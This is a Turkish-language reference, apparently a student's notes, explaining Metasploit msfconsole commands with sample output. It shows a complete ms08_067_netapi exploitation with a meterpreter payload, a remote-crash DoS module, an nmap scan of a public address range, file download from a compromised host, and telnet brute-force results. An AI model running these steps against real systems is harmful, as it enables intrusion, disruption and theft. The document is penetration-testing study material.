MSF Konsol Komutları

a. “help” komutu

> help

ya da

> ?

Yukarıdaki her iki komut ile de yardım menüsü görüntülenebilir. Bu menüde kullanılabilecek msf console komutları ve açıklamaları yer alır.

b. “show” komutu

Metasploit framework'ünde yüklü tüm Encoder'ları, NOP Generator'ları, Exploit'leri, Payload'ları ve Auxiliary'leri alt alta sıralamaya yarar.

> show

i) “show exploits” komutu

Sadece yüklü exploit'leri ekrana basar.

> show exploits

ii) “show payloads” komutu

Sadece yüklü payload'ları ekrana basar.

> show payloads

NOT: Eğer bir exploit seçilmişse ve bu exploit seçili vaziyetteyken show payloads denmişse bu durumda sadece seçilen exploit'e uygun payload'lar sıralanır.

iii) “show auxiliary” komutu

Sadece yüklü auxiliary'leri ekrana basar.

> show auxiliary

iii) “show options” komutu

Eğer bir exploit seçilmişse exploit'in (modulün) set edilebilecek parametrelerini gösterir. Eğer exploit sonrası bir de payload seçilmişse bu durumda hem exploit'in hem de payload'un set edilebilecek parametrelerini gösterir.

> show options

iv) “show targets” komutu

Seçilen exploit'in işe yaradığı işletim sistemlerini sıralar. Exploit seçildikten sonra kullanılmalıdır. Aksi takdire [-] No exploit module selected uyarısı verir.

> show targets

v) “show advanced” komutu

Seçilen exploit ya da payload üzerinde ince ayar yapmaya yarar. Kullanıldığında ekrana gelişmiş ayar değişkenlerinin adı ve tuttukları değerler sıralanır. Bu değişkenler set komutu ile set edilebilmektedir.

> show advanced

c. “search” komutu

MSF Console genişletilmiş regular expression kullanımına sahiptir. Aranılacak modül (exploit) ya da auxiliary hakkında az buçuk bilgi sahibi isen search komutu ile arayabilirsin. Search komutu exploit, payload, auxiliary aramak için kullanılır. Örn;

> search ms09-01

i) “search name:something” komutu

Açıklayıcı bir ada göre arama yapmak için “name” anahtar sözcüğü kullanılır. Örn;

> search name:php // php isminin geçtiği modüller aranır.

ii) “search path:something” komutu

Sadece belirli bir dizin altında arama yapmak için “path” anahtar sözcüğü kullanılır. Örn;

> search path:scada

Output:

```
Name
======
auxiliary/admin/scada/igss_exec_17
auxiliary/dos/scada/backhoff_twincat
auxiliary/dos/scada/igss9_dataserver
exploit/windows/scada/citect_scada_odbc
exploit/windows/scada/codesys_web_server
exploit/windows/scada/daq_factory_bof
        …
        …
```

iii) “search platform:something” komutu

Belirli bir platforma özgü arama yapmak için “platform” anahtar sözcüğü kullanılır Örn;.

> search platform:linux

Output:

exploit/linux/ftp/proftp_sreplace
exploit/linux/ftp/proftp_telnet_iac
exploit/linux/games/ut2004_secure
exploit/linux/http/gpad_format_string
exploit/linux/http/linksys_apply_cgi
exploit/linux/http/peercast_url

…
…

iv) “search type:something” komutu

Belirli bir modülün tüm elemanlarını sıralamak için type anahtar sözcüğü kullanılır. Örn;

```
> search type:exploit          // Sadece yüklü tüm exploit'leri sıralar.
> search type:auxiliary        // Sadece yüklü tüm auxiliary'leri sıralar.
> search type:payload          // Sadece yüklü tüm payload'ları sıralar.
> search type:post             // Sadece yüklü post-exploit'leri sıralar.
```

v) “search author:something” komutu

Yayımlayıcı kriterine göre arama yapmayı sağlar. Örneğin

> search author:celil

Output:

Matching Modules
==========

Name	Disclosure Date
exploit/windows/scada/codesys_web_server	…

vi) “search cve:something” komutu

cve var olan tüm zafiyetleri tanımlamak için kullanılan unique bir id'dir. Her zafiyetin kendine has cve numarası vardır. Bu güvenlik sektöründe bir standarttır. cve'nin açılımı common vulnerabilities and exposures'tur.

> search cve:2012 // cve'si 2012'yle başlayanları listeler.

vi) “search” with Multiple Keywords

Birden fazla kritere göre de arama yapılabilmektedir. Bu sayede arama sonucu daha da daraltılmış olur ve istediğimize daha çabuk varabiliriz.

> search cve:2011 author:jduck platform:linux

Output:

Matching Modules
==========

Name	Disclosure Date
exploit/linux/misc/netsupport_manager_agent	…

(!) Çoklu kriter ben denediğimde işe yaramadı. Yine dizdi onlarca exploit'i. Yani sonuç daralmadı.

ç. “info” komutu

Belirli bir modül hakkında açıklayıcı bilgiler sunmaya yarar.

Örn;

> info exploit/windows/smb/ms08_067_netapi

d. “use” komutu

İstenilen exploit ya da Auxiliary'yi seçmek için kullanılır..

> use dos/windows/smb/ms09_001_write

e. “set” komutu

Kullanılan modüle ait özellikleri configure etmek için set komutu kullanılır.

Örn;

> set RHOST 192.168.1.3

f. “setg” komutu

Her msfconsole'u kapatışta set edilen değişkenler yok olmaktadır. Bunları kalıcı hale getirmek için global değişkenler kullanılabilir. Böylelikle msfconsole'u sonraki açışta hedef bilgileriniz değişmemiş şekilde var olacaktır. Setg'nin bir diğer avantajı msfconsole'da birden fazla modül kullanılacaksa ve her modül için örneğin aynı LHOST değeri kullanılacaksa setg ile tüm modüllerdeki LHOST değeri aynı olur.

Örn;

```
> setg LHOST 192.168.0.13
LHOST => 192.168.0.13

> setg RHOST 192.168.0.14
LHOST => 192.168.0.14

> save
Saved configuration to: /root/.msf3/config
```

g. “unset” komutu

Kullanılan modülün set edilen bir özelliğini unset etmeye yarar.

```
> use exploit/windows/smb/ms08_067_netapi
> set PAYLOAD windows/meterpreter/bind_tcp
> unset PAYLOAD
```

h. “unsetg” komutu

Metasploit kapandığında dahi hafızada var olan global değişkenleri unset yapmak için unsetg kullanılır. Örn;

```
> unsetg SMBDirect        // Bu örneği yapacaksan bir kere daha düşün. SMB üzerinden
                          // OS  tespiti yapmaya imkan verirken diğer yandan netapi ile
                          // meterpreter çalışmasını bozuyor.
```

ı. “exploit” komutu

Seçilen exploit'i çalıştırmak için kullanılır.

Örn;

```
> use exploit/windows/smb/ms08_067_netapi
> set PAYLOAD windows/meterpreter/bind_tcp
> set LHOST 192.168.0.18
> set RHOST 192.168.0.19
> exploit
```

i. “check” komutu

Seçilen exploit'in hedefte işe yarayıp yaramayacağını tespit eder. Direk exploit diyerek de bunu anlayabiliriz, fakat eğer exploit işe yararsa bu durumda belki hedef makinaya zarar verebiliriz. Pentestçi olarak müşterinin makinasına zarar vermek istemeyeceğimizden ve müşterinin makinasının sadece exploit edilip edilemediğini bilmek isteyeceğimizden dolayı check komutu kullanışlıdır. Dilersek exploit'in sonuçlarını bir lab ortamında gözlemleyerek bu işin nerelere varabileceğini müşteriye anlatabiliriz.

```
> use exploit/windows/smb/ms08_067_netapi
> set PAYLOAD windows/meterpreter/bind_tcp
> set LHOST 192.168.0.18
> set RHOST 192.168.0.19
> check
```

j. “run” komutu

Seçili auxiliary'yi çalıştırmak için “exploit” komutunu kullanmak yerine run komutunu kullanmak daha doğrudur. Fakat exploit komutu da aynı işlemi gerçekleştirmektedir.

Örn;

```
msf auxiliary(ms09_001_write) > run
```

Output:

```
Attempting to crash the remote host...
```

k. “back” komutu

Bir modül seçildikten sonra seçimi iptal etmek için back komutu kullanılır.

Örn;

```
msf auxiliary ( ms09_001_write ) > back
msf >
```

l. “connect” komutu

Hedef host'a telnet, netcat gibi bağlantılar kurabilmek için kullanılır.

```
> connect 192.168.0.13  23
```

Output:

```
[*] Connected to 192.168.1.1:23
ÿýÿýÿý!ÿûÿû
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
```

Release: 07/27/08 (SVN revision: 10011)
ÿ
DD-WRT login:

m. “resource” komutu

Harici bir dosyada yer alan Ruby gibi kodların çalıştırılmasını sağlar. (Hiç denenmediği için bu komut biraz flu benim için).

> resource kodlar.rb

n. “irb” komutu

irb komutu ile msfconsole içerisinde ruby shell yapısına geçilebilmektedir.

> irb

[*] Starting IRB shell...
>> puts "Hello World" // Ruby kodu girilir.
Hello World! // puts ekrana string'i basar.
=> nil // puts methodundan dönen değer...

o. “hosts” komutu

Msfconsole'da hedef tahtasına oturtulmuş host'ları sıralar.

> hosts

Output:

Hosts
======

address	name	os_name	os_sp	purpose
192.168.0.19	PENTEST-WINXP	Windows XP	SP2	client
193.140.9.6		Windows 7		client

ö. “services” komutu

db_nmap ile hedefin portları taranır ve çalışan servisleri tespit edilir. Bu bilgiler veritabanına kaydedilir ve services komutu ile de tespit edilen bu servisler görüntülenir.

> db_nmap -sV 193.140.9.0/24
> services

Output:

Services
=======

host	port	proto	name	state	info
193.140.9.6	80	tcp	http	open	Microsoft HTTPAPI httpd 2.0
193.140.9.34	80	tcp	http	open	Apache-Coyote/1.1

Böylece servis isimlerine bakarak exploit aramasına yönelinir.

p. “load” ve “unload” komutu

Plugin yüklemek için load, yüklü plug'ini kaldırmak için unload komutu kullanılır.

Örn;

> load msfd
[*] Successfully loaded plugin: msfd

> unload msfd
Unloading plugin msfd... unloaded.

q. “version” komutu

Metasploit Framework'ünün ve MSFConsole'un versiyonlarını gösterir.

> version

Output:

Framework: 4.11.1-2015031001
Console : 4.11.1-2015031001.15168

r. “msfupdate” komutu

Metasploit Framework'ünü güncellemeye yarar. Böylece en güncel exploit'leri, payload'ları,... edinebiliriz.

> msfupdate

s. “sessions” komutu

Sisteme sızıldığı takdirde sessions komutu ile ele geçirilen session'lar listelenir.

> sessions

Active sessions
==========

id	Type	Information	Connection
1	meterpreter x86/win32	NT AUTHORITY @PENTEST-WINXP	192.168.2.188:38919 -> 192.168.2.206:4444

ş. “background” komutu

Diyelim ki netapi exploit'i ve meterpreter payload'u ile sisteme sızdık. Bu durumda meterpreter satırı komut satırımıza gelecektir. Fakat meterpreter komutu girmek yerine Metasploit içinde daha başka işlemler yapmak istiyoruz. Bu durumda background komutu ile meterpreter payload'unu arkaplana atabiliriz.

```
meterpreter > background
msf > …
```

Metasploit içinde yapacağımız işlemleri hallettikten sonra tekrar meterpreter payload'una dönüp uzak sistemde komut çalıştırmak istediğimizde bu sefer sessions komutunu kullanmalıyız. Session komutunun sıraladığı session'lardan belirlediğimizin id'sini not düşüp sessions komutunun -i parametresine argüman olarak ekleyerek meterpreter'a dönüş yapabiliriz.

```
msf > sessions                  // ya da sessions -l

Active sessions
==========

id  Type                        Information             Connection
---  ----------                 -----------             ----------
1   meterpreter x86/win32       NT AUTHORITY            192.168.2.188:38919 ->
                                @PENTEST-WINXP          192.168.2.206:4444

msf > sessions -i 1
meterpreter > …
```

Böylece artık meterpreter komutlarını kullanabilir ve uzak sisteme akmaya devam edebiliriz.

t. “jobs” komutu

Çalışan işleri gösterir.

> jobs

Jobs
====
No active jobs.

u. “makerc” komutu

En sonki makerc kullanımından beri girilen tüm metasploit komutlarını bir dosyaya yazar.

> makerc komutlar.txt // Geçmişi tutacak komutlar.txt dosyası home dizinine konur.

[*] Saving last 11 commands to komutlar.txt

ü. “quit” komutu

MSFConsole'dan çıkarır.

msf > quit
root@kali:~#

v. “download” komutu

Bir meterpreter komutu olan download exploit edilen uzak sistemden dosya indirmeye yarar.

Örn;

> download C:\\"Documents and Settings"\\pentest\\Desktop\\bismillah.txt /root/Desktop

w. “upload” komutu

Bir meterpreter komutu olan upload exploit edilen uzak sisteme dosya yüklemeyi sağlar.

Örn;

> upload /root/hacked.txt C:\\"Documents and Settings"\\pentest\\Desktop

x. Meterpreter'in “help” komutu

Eğer karşı sistem exploit edilebilirse ve meterpreter payload'u çalışırsa meterpreter payload'unun kullanılabilecek tüm komutlarını help komutu ile öğrenebilirsin.

meterpreter > help

NOT: Bunu her payload'u seçtikten sonra da yapabilirsin. Yani bir payload seçip help dersen yardım menüsünde payload'a has komutları da görüntüleyebilirsin.

y. “clear” komutu

Tıpkı terminali temizleyen clear komutu gibi msfconsole'da da clear adlı komut ekranı temizler.

> clear

z. “whois” komutu

Belirtilen domain'in whois bilgilerini ekrana basar.

Örn;

> whois www.ubys.net

Note: The registry database contains only .COM, .NET, .EDU domains and Registrars. So www.karabuk.edu(.tr) cannot be queried with whois tool.

aa. “creds” komutu

Yapılan brute force veya dictionary attack saldırılarından sonra yüzlerce deneme içerisinden hangilerinin tuttuğunu öğrenmek için tek tek scroll bar'ı aşağı yukarı kaydırıp yeşil olan denemeleri bulmak yerine creds komutunu kullanabiliriz.

Örn;

...
> msf auxiliary(telnet_login) > run
> msf auxiliary(telnet_login) > creds

Output:

host	port	user	pass
192.168.0.14	23	user	user
192.168.0.14	23	service	service
192.168.0.14	23	postgres	postgres

NOT: Bu yapılan işlemin tamamını Tez Raporu / İnternetten Edinilmiş Kıymetli Bilgiler / Elden Geçirdiğim Notlarım / Telnet Sözlük Saldırısı.docx dökümanında görebilirsin.